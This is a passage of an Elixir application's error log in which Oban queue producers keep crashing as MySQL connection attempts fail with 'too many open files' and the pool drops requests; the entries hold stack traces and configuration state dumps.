"high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65182>, refresh_timer: #Reference<0.2525715032.1077673987.44052>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:34:12.241135Z], limit: 5, uuid: "0692084d-e5f2-49fd-84af-0319a5643ac4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.241141Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65178>, refresh_timer: #Reference<0.2525715032.1068498948.65170>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:34:12.240476Z], limit: 10, uuid: "bd0462f1-a504-46ef-8d93-75114c125393", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.240483Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63698>, refresh_timer: #Reference<0.2525715032.1077673987.44066>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:34:12.239765Z], limit: 3, uuid: "d165f429-4656-4cb7-aeb0-63a429e5db5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.239770Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65180>, refresh_timer: #Reference<0.2525715032.1099431938.63686>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:34:12.239562Z], limit: 5, uuid: "e16acaa3-a934-4af7-af0c-0c31a39a793b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.239566Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65179>, refresh_timer: #Reference<0.2525715032.1099431938.63679>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:29.331000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:29.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:30.554000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:33.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:34.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:34:24.240601Z], limit: 10, uuid: "61e82d5b-5131-4abf-9766-5572535a015d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.240606Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44243>, refresh_timer: #Reference<0.2525715032.1099431938.63738>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:34:24.240444Z], limit: 50, uuid: "08a85147-89fd-4c90-acd7-9d20ca2ecc3d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.240449Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44242>, refresh_timer: #Reference<0.2525715032.1121189889.202365>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:34:24.238914Z], limit: 20, uuid: "b2ae9790-7b65-4ae6-aea1-8a0b6f8a97bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.238924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44199>, refresh_timer: #Reference<0.2525715032.1077673987.44198>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:34:24.240768Z], limit: 5, uuid: "ea97e2c2-4491-47ad-89b9-e20a2ba86f49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:24.240773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.202399>, refresh_timer: #Reference<0.2525715032.1121189889.202372>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
